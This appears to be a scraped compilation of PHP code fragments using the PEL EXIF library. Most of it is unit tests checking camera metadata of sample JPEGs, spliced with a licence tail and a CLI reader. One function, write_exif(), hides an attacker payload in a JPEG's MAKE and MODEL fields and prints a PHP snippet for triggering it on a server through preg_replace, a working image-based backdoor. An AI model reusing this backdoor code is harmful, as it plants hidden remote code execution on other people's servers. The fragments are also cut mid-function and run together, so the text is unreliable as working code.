        /* End of IFD $ifd0. */
        /* Start of IDF $ifd1. */
        $this->assertEqual(count($ifd1->getEntries()), 8);
        $entry = $ifd1->getEntry(259);
        // Compression
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 6);
        $this->assertEqual($entry->getText(), 'JPEG compression');
        $entry = $ifd1->getEntry(271);
        // Make
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'SONY');
        $this->assertEqual($entry->getText(), 'SONY');
        $entry = $ifd1->getEntry(272);
        // Model
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'DSC-V1');
        $this->assertEqual($entry->getText(), 'DSC-V1');
        $entry = $ifd1->getEntry(274);
        // Orientation
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 6);
        $this->assertEqual($entry->getText(), 'right - top');
        $entry = $ifd1->getEntry(282);
        // XResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
        $this->assertEqual($entry->getText(), '72/1');
        $entry = $ifd1->getEntry(283);
        // YResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
        $this->assertEqual($entry->getText(), '72/1');
        $entry = $ifd1->getEntry(296);
        // ResolutionUnit
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Inch');
        $entry = $ifd1->getEntry(306);
        // DateTime
        $this->assertIsA($entry, 'PelEntryTime');
        $this->assertEqual($entry->getValue(), 1089482993);
        $this->assertEqual($entry->getText(), '2004:07:10 18:09:53');
        /* Sub IFDs of $ifd1. */
        $this->assertEqual(count($ifd1->getSubIfds()), 0);
        $thumb_data = file_get_contents(dirname(__FILE__) . '/sony-dsc-v1-thumb.jpg');
        $this->assertEqual($ifd1->getThumbnailData(), $thumb_data);
        /* Next IFD. */
        $ifd2 = $ifd1->getNextIfd();
        $this->assertNull($ifd2);
        /* End of IFD $ifd1. */
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program in the file COPYING; if not, write to the
 *  Free Software Foundation, Inc., 51 Franklin St, Fifth Floor,
 *  Boston, MA 02110-1301 USA
 */
require_once '../share/classes/pel-0.9.1/PelDataWindow.php';
require_once '../share/classes/pel-0.9.1/PelJpeg.php';
require_once '../share/classes/pel-0.9.1/PelTiff.php';
$data = new PelDataWindow(file_get_contents($input));
if (PelJpeg::isValid($data)) {
    $jpeg = $file = new PelJpeg();
    $jpeg->load($data);
    $exif = $jpeg->getExif();
    if ($exif == null) {
        $exif = new PelExif();
        $jpeg->setExif($exif);
        $tiff = new PelTiff();
        $exif->setTiff($tiff);
    } else {
        $tiff = $exif->getTiff();
    }
} elseif (PelTiff::isValid($data)) {
    $tiff = $file = new PelTiff();
    /* Now load the data. */
    $tiff->load($data);
示例#16
0
if (empty($argv)) {
    println('Usage: %s [-d] <file> ...', $prog);
    println('Optional arguments:');
    println('  -d        turn debug output on.');
    println('Mandatory arguments:');
    println('  file ...  one or more file names.');
    exit(1);
}
/* We typically need lots of RAM to parse TIFF images since they tend
 * to be big and uncompressed. */
ini_set('memory_limit', '32M');
foreach ($argv as $file) {
    println('Reading file "%s".', $file);
    $data = new PelDataWindow(file_get_contents($file));
    if (PelJpeg::isValid($data)) {
        $jpeg = new PelJpeg();
        $jpeg->load($data);
        $app1 = $jpeg->getExif();
        if ($app1 == null) {
            println('Skipping %s because no APP1 section was found.', $file);
            continue;
        }
        $tiff = $app1->getTiff();
    } elseif (PelTiff::isValid($data)) {
        $tiff = new PelTiff($data);
    } else {
        println('Unrecognized image format! Skipping.');
        continue;
    }
    $ifd0 = $tiff->getIfd();
    $entry = $ifd0->getEntry(PelTag::DATE_TIME);
    function testRead()
    {
        Pel::clearExceptions();
        Pel::setStrictParsing(false);
        $jpeg = new PelJpeg(dirname(__FILE__) . '/canon-powershot-s60.jpg');
        $exif = $jpeg->getExif();
        $this->assertIsA($exif, 'PelExif');
        $tiff = $exif->getTiff();
        $this->assertIsA($tiff, 'PelTiff');
        /* The first IFD. */
        $ifd0 = $tiff->getIfd();
        $this->assertIsA($ifd0, 'PelIfd');
        /* Start of IDF $ifd0. */
        $this->assertEqual(count($ifd0->getEntries()), 8);
        $entry = $ifd0->getEntry(271);
        // Make
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'Canon');
        $this->assertEqual($entry->getText(), 'Canon');
        $entry = $ifd0->getEntry(272);
        // Model
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'Canon PowerShot S60');
        $this->assertEqual($entry->getText(), 'Canon PowerShot S60');
        $entry = $ifd0->getEntry(274);
        // Orientation
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'top - left');
        $entry = $ifd0->getEntry(282);
        // XResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 180, 1 => 1));
        $this->assertEqual($entry->getText(), '180/1');
        $entry = $ifd0->getEntry(283);
        // YResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 180, 1 => 1));
        $this->assertEqual($entry->getText(), '180/1');
        $entry = $ifd0->getEntry(296);
        // ResolutionUnit
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Inch');
        $entry = $ifd0->getEntry(306);
        // DateTime
        $this->assertIsA($entry, 'PelEntryTime');
        $this->assertEqual($entry->getValue(), 1097316018);
        $this->assertEqual($entry->getText(), '2004:10:09 10:00:18');
        $entry = $ifd0->getEntry(531);
        // YCbCrPositioning
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'centered');
        /* Sub IFDs of $ifd0. */
        $this->assertEqual(count($ifd0->getSubIfds()), 1);
        $ifd0_0 = $ifd0->getSubIfd(2);
        // IFD Exif
        $this->assertIsA($ifd0_0, 'PelIfd');
        /* Start of IDF $ifd0_0. */
        $this->assertEqual(count($ifd0_0->getEntries()), 30);
        $entry = $ifd0_0->getEntry(33434);
        // ExposureTime
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 1, 1 => 8));
        $this->assertEqual($entry->getText(), '1/8 sec.');
        $entry = $ifd0_0->getEntry(33437);
        // FNumber
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 53, 1 => 10));
        $this->assertEqual($entry->getText(), 'f/5.3');
        $entry = $ifd0_0->getEntry(36864);
        // ExifVersion
        $this->assertIsA($entry, 'PelEntryVersion');
        $this->assertEqual($entry->getValue(), 2.2);
        $this->assertEqual($entry->getText(), 'Exif Version 2.2');
        $entry = $ifd0_0->getEntry(36867);
        // DateTimeOriginal
        $this->assertIsA($entry, 'PelEntryTime');
        $this->assertEqual($entry->getValue(), 1097316018);
        $this->assertEqual($entry->getText(), '2004:10:09 10:00:18');
        $entry = $ifd0_0->getEntry(36868);
        // DateTimeDigitized
        $this->assertIsA($entry, 'PelEntryTime');
        $this->assertEqual($entry->getValue(), 1097316018);
        $this->assertEqual($entry->getText(), '2004:10:09 10:00:18');
        $entry = $ifd0_0->getEntry(37121);
        // ComponentsConfiguration
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), '');
        $this->assertEqual($entry->getText(), 'Y Cb Cr -');
        $entry = $ifd0_0->getEntry(37122);
        // CompressedBitsPerPixel
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 2, 1 => 1));
        $this->assertEqual($entry->getText(), '2/1');
        $entry = $ifd0_0->getEntry(37377);
        // ShutterSpeedValue
        $this->assertIsA($entry, 'PelEntrySRational');
        $this->assertEqual($entry->getValue(), array(0 => 96, 1 => 32));
        $this->assertEqual($entry->getText(), '96/32 sec. (APEX: 2)');
        $entry = $ifd0_0->getEntry(37378);
        // ApertureValue
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 154, 1 => 32));
        $this->assertEqual($entry->getText(), 'f/5.3');
        $entry = $ifd0_0->getEntry(37380);
        // ExposureBiasValue
        $this->assertIsA($entry, 'PelEntrySRational');
        $this->assertEqual($entry->getValue(), array(0 => 0, 1 => 3));
        $this->assertEqual($entry->getText(), '0.0');
        $entry = $ifd0_0->getEntry(37381);
        // MaxApertureValue
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 154, 1 => 32));
        $this->assertEqual($entry->getText(), '154/32');
        $entry = $ifd0_0->getEntry(37383);
        // MeteringMode
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 5);
        $this->assertEqual($entry->getText(), 'Pattern');
        $entry = $ifd0_0->getEntry(37385);
        // Flash
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 16);
        $this->assertEqual($entry->getText(), 'Flash did not fire, compulsory flash mode.');
        $entry = $ifd0_0->getEntry(37386);
        // FocalLength
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 662, 1 => 32));
        $this->assertEqual($entry->getText(), '20.7 mm');
        $entry = $ifd0_0->getEntry(37500);
        // MakerNote
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), '.���"�0<D| ��iB	 �9��
$�\\@����� ������5 
 
���"�D �6�`j�`�		�� 
��\',��,��,��������*** IMG:PowerShot S60 JPEGFirmware Version 1.00Q
��H	||}z�|�zDX�
��
t�%�*��II*�');
        $this->assertEqual($entry->getText(), '904 bytes unknown MakerNote data');
        $entry = $ifd0_0->getEntry(37510);
        // UserComment
        $this->assertIsA($entry, 'PelEntryUserComment');
        $this->assertEqual($entry->getValue(), '');
        $this->assertEqual($entry->getText(), '');
        $entry = $ifd0_0->getEntry(40960);
        // FlashPixVersion
        $this->assertIsA($entry, 'PelEntryVersion');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'FlashPix Version 1.0');
        $entry = $ifd0_0->getEntry(40961);
        // ColorSpace
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'sRGB');
        $entry = $ifd0_0->getEntry(40962);
        // PixelXDimension
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 640);
        $this->assertEqual($entry->getText(), '640');
        $entry = $ifd0_0->getEntry(40963);
        // PixelYDimension
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 480);
        $this->assertEqual($entry->getText(), '480');
        $entry = $ifd0_0->getEntry(41486);
        // FocalPlaneXResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 640000, 1 => 283));
        $this->assertEqual($entry->getText(), '640000/283');
        $entry = $ifd0_0->getEntry(41487);
        // FocalPlaneYResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 480000, 1 => 212));
        $this->assertEqual($entry->getText(), '480000/212');
        $entry = $ifd0_0->getEntry(41488);
        // FocalPlaneResolutionUnit
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Inch');
        $entry = $ifd0_0->getEntry(41495);
        // SensingMethod
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'One-chip color area sensor');
        $entry = $ifd0_0->getEntry(41728);
        // FileSource
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), '');
        $this->assertEqual($entry->getText(), 'DSC');
        $entry = $ifd0_0->getEntry(41985);
        // CustomRendered
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Normal process');
        $entry = $ifd0_0->getEntry(41986);
        // ExposureMode
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Auto exposure');
        $entry = $ifd0_0->getEntry(41987);
        // WhiteBalance
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Auto white balance');
        $entry = $ifd0_0->getEntry(41988);
        // DigitalZoomRatio
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 2592, 1 => 2592));
        $this->assertEqual($entry->getText(), '2592/2592');
        $entry = $ifd0_0->getEntry(41990);
        // SceneCaptureType
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Standard');
        /* Sub IFDs of $ifd0_0. */
        $this->assertEqual(count($ifd0_0->getSubIfds()), 1);
        $ifd0_0_0 = $ifd0_0->getSubIfd(4);
        // IFD Interoperability
        $this->assertIsA($ifd0_0_0, 'PelIfd');
        /* Start of IDF $ifd0_0_0. */
        $this->assertEqual(count($ifd0_0_0->getEntries()), 4);
        $entry = $ifd0_0_0->getEntry(1);
        // InteroperabilityIndex
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'R98');
        $this->assertEqual($entry->getText(), 'R98');
        $entry = $ifd0_0_0->getEntry(2);
        // InteroperabilityVersion
        $this->assertIsA($entry, 'PelEntryVersion');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'Interoperability Version 1.0');
        $entry = $ifd0_0_0->getEntry(4097);
        // RelatedImageWidth
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 640);
        $this->assertEqual($entry->getText(), '640');
        $entry = $ifd0_0_0->getEntry(4098);
        // RelatedImageLength
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 480);
        $this->assertEqual($entry->getText(), '480');
        /* Sub IFDs of $ifd0_0_0. */
        $this->assertEqual(count($ifd0_0_0->getSubIfds()), 0);
        $this->assertEqual($ifd0_0_0->getThumbnailData(), '');
        /* Next IFD. */
        $ifd0_0_1 = $ifd0_0_0->getNextIfd();
        $this->assertNull($ifd0_0_1);
        /* End of IFD $ifd0_0_0. */
        $this->assertEqual($ifd0_0->getThumbnailData(), '');
        /* Next IFD. */
        $ifd0_1 = $ifd0_0->getNextIfd();
        $this->assertNull($ifd0_1);
        /* End of IFD $ifd0_0. */
        $this->assertEqual($ifd0->getThumbnailData(), '');
        /* Next IFD. */
        $ifd1 = $ifd0->getNextIfd();
        $this->assertIsA($ifd1, 'PelIfd');
        /* End of IFD $ifd0. */
        /* Start of IDF $ifd1. */
        $this->assertEqual(count($ifd1->getEntries()), 4);
        $entry = $ifd1->getEntry(259);
        // Compression
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 6);
        $this->assertEqual($entry->getText(), 'JPEG compression');
        $entry = $ifd1->getEntry(282);
        // XResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 180, 1 => 1));
        $this->assertEqual($entry->getText(), '180/1');
        $entry = $ifd1->getEntry(283);
        // YResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 180, 1 => 1));
        $this->assertEqual($entry->getText(), '180/1');
        $entry = $ifd1->getEntry(296);
        // ResolutionUnit
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Inch');
        /* Sub IFDs of $ifd1. */
        $this->assertEqual(count($ifd1->getSubIfds()), 0);
        $thumb_data = file_get_contents(dirname(__FILE__) . '/canon-powershot-s60-thumb.jpg');
        $this->assertEqual($ifd1->getThumbnailData(), $thumb_data);
        /* Next IFD. */
        $ifd2 = $ifd1->getNextIfd();
        $this->assertNull($ifd2);
        /* End of IFD $ifd1. */
        $this->assertTrue(count(Pel::getExceptions()) == 0);
function write_exif()
{
    global $verbose, $headers, $regex, $payload, $original, $backdoored;
    require_once 'pel/PelDataWindow.php';
    require_once 'pel/PelJpeg.php';
    require_once 'pel/PelTiff.php';
    setlocale(LC_ALL, '');
    $data = new PelDataWindow(file_get_contents($original));
    if (PelJpeg::isValid($data)) {
        $jpeg = $file = new PelJpeg();
        $jpeg->load($data);
        $exif = $jpeg->getExif();
        if ($exif == null) {
            if ($verbose) {
                print " # No APP1 section found, added new.\r\n";
            }
            $exif = new PelExif();
            $jpeg->setExif($exif);
            $tiff = new PelTiff();
            $exif->setTiff($tiff);
        } else {
            if ($verbose) {
                print " # Found existing APP1 section.\r\n";
            }
            $tiff = $exif->getTiff();
        }
    } elseif (PelTiff::isValid($data)) {
        $tiff = $file = new PelTiff();
        $tiff->load($data);
    } else {
        print " # Unrecognized image format! The first 16 bytes follow:\r\n";
        PelConvert::bytesToDump($data->getBytes(0, 16));
        exit(1);
    }
    $ifd0 = $tiff->getIfd();
    if ($ifd0 == null) {
        if ($verbose) {
            print " # No IFD found, adding new.\r\n";
        }
        $ifd0 = new PelIfd(PelIfd::IFD0);
        $tiff->setIfd($ifd0);
    }
    //add MODEL EXIF header
    $desc = $ifd0->getEntry(PelTag::MODEL);
    if ($desc == null) {
        if ($verbose) {
            print " # Added new MODEL entry with " . $payload . "\r\n";
        }
        $desc = new PelEntryAscii(PelTag::MODEL, $payload);
        $ifd0->addEntry($desc);
    } else {
        if ($verbose) {
            print 'Updating MODEL entry from "' . $desc->getValue() . '" to "' . $payload . '".' . "\r\n";
        }
        $desc->setValue($payload);
    }
    //add MAKE EXIF header
    $desc = $ifd0->getEntry(PelTag::MAKE);
    if ($desc == null) {
        if ($verbose) {
            print " # Added new MAKE entry with " . $regex . "\r\n";
        }
        $desc = new PelEntryAscii(PelTag::MAKE, $regex);
        $ifd0->addEntry($desc);
    } else {
        if ($verbose) {
            print 'Updating MAKE entry from "' . $desc->getValue() . '" to "' . $regex . '".' . "\r\n";
        }
        $desc->setValue($regex);
    }
    print " # Saving backdoor file : " . $backdoored . ".\r\n";
    $file->saveFile($backdoored);
    print " # Saved.\r\n";
    if ($verbose) {
        print "\r\n\r\n";
    }
    print " # In order to work your backdoor, you need to hide this code very well in a .php file.\r\n";
    print "\r\n<?php\r\n\$exif = exif_read_data('path_to_backdoored_file_uploaded_on_server.jpg');\r\n";
    print "preg_replace(\$exif['" . $headers[0] . "'],\$exif['" . $headers[1] . "'],'');\r\n?>\r\n\r\n";
}
    function testRead()
    {
        Pel::clearExceptions();
        Pel::setStrictParsing(false);
        $jpeg = new PelJpeg(dirname(__FILE__) . '/olympus-c765uz.jpg');
        $exif = $jpeg->getExif();
        $this->assertIsA($exif, 'PelExif');
        $tiff = $exif->getTiff();
        $this->assertIsA($tiff, 'PelTiff');
        /* The first IFD. */
        $ifd0 = $tiff->getIfd();
        $this->assertIsA($ifd0, 'PelIfd');
        /* Start of IDF $ifd0. */
        $this->assertEqual(count($ifd0->getEntries()), 11);
        $entry = $ifd0->getEntry(270);
        // ImageDescription
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'OLYMPUS DIGITAL CAMERA         ');
        $this->assertEqual($entry->getText(), 'OLYMPUS DIGITAL CAMERA         ');
        $entry = $ifd0->getEntry(271);
        // Make
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'OLYMPUS CORPORATION');
        $this->assertEqual($entry->getText(), 'OLYMPUS CORPORATION');
        $entry = $ifd0->getEntry(272);
        // Model
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'C765UZ');
        $this->assertEqual($entry->getText(), 'C765UZ');
        $entry = $ifd0->getEntry(274);
        // Orientation
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'top - left');
        $entry = $ifd0->getEntry(282);
        // XResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
        $this->assertEqual($entry->getText(), '72/1');
        $entry = $ifd0->getEntry(283);
        // YResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
        $this->assertEqual($entry->getText(), '72/1');
        $entry = $ifd0->getEntry(296);
        // ResolutionUnit
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Inch');
        $entry = $ifd0->getEntry(305);
        // Software
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'v777-76');
        $this->assertEqual($entry->getText(), 'v777-76');
        $entry = $ifd0->getEntry(306);
        // DateTime
        $this->assertIsA($entry, 'PelEntryTime');
        $this->assertEqual($entry->getValue(), 1090073972);
        $this->assertEqual($entry->getText(), '2004:07:17 14:19:32');
        $entry = $ifd0->getEntry(531);
        // YCbCrPositioning
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'co-sited');
        $entry = $ifd0->getEntry(50341);
        // PrintIM
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), 'PrintIM0250ˆ	
а
шџ€€€€€€€€€	\'\'—\'А\'\'^\'‹\'Ы\'х\'!š‚И‚');
        $this->assertEqual($entry->getText(), '(undefined)');
        /* Sub IFDs of $ifd0. */
        $this->assertEqual(count($ifd0->getSubIfds()), 1);
        $ifd0_0 = $ifd0->getSubIfd(2);
        // IFD Exif
        $this->assertIsA($ifd0_0, 'PelIfd');
        /* Start of IDF $ifd0_0. */
        $this->assertEqual(count($ifd0_0->getEntries()), 32);
        $entry = $ifd0_0->getEntry(33434);
        // ExposureTime
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 10, 1 => 2000));
        $this->assertEqual($entry->getText(), '1/200 sec.');
        $entry = $ifd0_0->getEntry(33437);
        // FNumber
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 32, 1 => 10));
        $this->assertEqual($entry->getText(), 'f/3.2');
        $entry = $ifd0_0->getEntry(34850);
        // ExposureProgram
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 5);
        $this->assertEqual($entry->getText(), 'Creative program (biased toward depth of field)');
        $entry = $ifd0_0->getEntry(34855);
        // ISOSpeedRatings
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 64);
        $this->assertEqual($entry->getText(), '64');
        $entry = $ifd0_0->getEntry(36864);
        // ExifVersion
        $this->assertIsA($entry, 'PelEntryVersion');
        $this->assertEqual($entry->getValue(), 2.2);
        $this->assertEqual($entry->getText(), 'Exif Version 2.2');
        $entry = $ifd0_0->getEntry(36867);
        // DateTimeOriginal
        $this->assertIsA($entry, 'PelEntryTime');
        $this->assertEqual($entry->getValue(), 1090073972);
        $this->assertEqual($entry->getText(), '2004:07:17 14:19:32');
        $entry = $ifd0_0->getEntry(36868);
        // DateTimeDigitized
        $this->assertIsA($entry, 'PelEntryTime');
        $this->assertEqual($entry->getValue(), 1090073972);
        $this->assertEqual($entry->getText(), '2004:07:17 14:19:32');
        $entry = $ifd0_0->getEntry(37121);
        // ComponentsConfiguration
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), '');
        $this->assertEqual($entry->getText(), 'Y Cb Cr -');
        $entry = $ifd0_0->getEntry(37122);
        // CompressedBitsPerPixel
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 2, 1 => 1));
        $this->assertEqual($entry->getText(), '2/1');
        $entry = $ifd0_0->getEntry(37380);
        // ExposureBiasValue
        $this->assertIsA($entry, 'PelEntrySRational');
        $this->assertEqual($entry->getValue(), array(0 => 0, 1 => 10));
        $this->assertEqual($entry->getText(), '0.0');
        $entry = $ifd0_0->getEntry(37381);
        // MaxApertureValue
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 34, 1 => 10));
        $this->assertEqual($entry->getText(), '34/10');
        $entry = $ifd0_0->getEntry(37383);
        // MeteringMode
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 5);
        $this->assertEqual($entry->getText(), 'Pattern');
        $entry = $ifd0_0->getEntry(37384);
        // LightSource
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Unknown');
        $entry = $ifd0_0->getEntry(37385);
        // Flash
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 16);
        $this->assertEqual($entry->getText(), 'Flash did not fire, compulsory flash mode.');
        $entry = $ifd0_0->getEntry(37386);
        // FocalLength
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 109, 1 => 10));
        $this->assertEqual($entry->getText(), '10.9 mm');
        $entry = $ifd0_0->getEntry(37500);
        // MakerNote
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), 'OLYMPрьєќ4	 LюlddњшџџдўжџНџНџSX777[pictureInfo] Resolution=1 [Camera Info] Type=SX777OLYMPUS DIGITAL CAMERAџџџџџџџџџ4Ÿџa1у ќ№№dЧ@*’*.<Jdќ""""""""""""""""""""Є~ы|Ё№YR


ЧoРh4Ÿ/
сˆˆэк@ИN	DsодаэDќSH	СV
„Ь7h8џ’	)?&Ї$уъзwwww\'
сiOvY$7)*ћƒю2
6nЁ$* R
n_');
        $this->assertEqual($entry->getText(), '840 bytes unknown MakerNote data');
        $entry = $ifd0_0->getEntry(37510);
        // UserComment
        $this->assertIsA($entry, 'PelEntryUserComment');
        $this->assertEqual($entry->getValue(), '                                                                                                                     ');
        $this->assertEqual($entry->getText(), '                                                                                                                     ');
        $entry = $ifd0_0->getEntry(40960);
        // FlashPixVersion
        $this->assertIsA($entry, 'PelEntryVersion');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'FlashPix Version 1.0');
        $entry = $ifd0_0->getEntry(40961);
        // ColorSpace
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'sRGB');
        $entry = $ifd0_0->getEntry(40962);
        // PixelXDimension
        $this->assertIsA($entry, 'PelEntryLong');
        $this->assertEqual($entry->getValue(), 2288);
        $this->assertEqual($entry->getText(), '2288');
        $entry = $ifd0_0->getEntry(40963);
        // PixelYDimension
        $this->assertIsA($entry, 'PelEntryLong');
        $this->assertEqual($entry->getValue(), 1712);
        $this->assertEqual($entry->getText(), '1712');
        $entry = $ifd0_0->getEntry(41728);
        // FileSource
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), '');
        $this->assertEqual($entry->getText(), 'DSC');
        $entry = $ifd0_0->getEntry(41729);
        // SceneType
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), '');
        $this->assertEqual($entry->getText(), 'Directly photographed');
        $entry = $ifd0_0->getEntry(41985);
        // CustomRendered
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Normal process');
        $entry = $ifd0_0->getEntry(41986);
        // ExposureMode
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Auto exposure');
        $entry = $ifd0_0->getEntry(41987);
        // WhiteBalance
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Auto white balance');
        $entry = $ifd0_0->getEntry(41988);
        // DigitalZoomRatio
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 0, 1 => 100));
        $this->assertEqual($entry->getText(), '0/100');
        $entry = $ifd0_0->getEntry(41990);
        // SceneCaptureType
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Portrait');
        $entry = $ifd0_0->getEntry(41991);
        // GainControl
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Normal');
        $entry = $ifd0_0->getEntry(41992);
        // Contrast
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Normal');
        $entry = $ifd0_0->getEntry(41993);
        // Saturation
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Normal');
        $entry = $ifd0_0->getEntry(41994);
        // Sharpness
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Normal');
        /* Sub IFDs of $ifd0_0. */
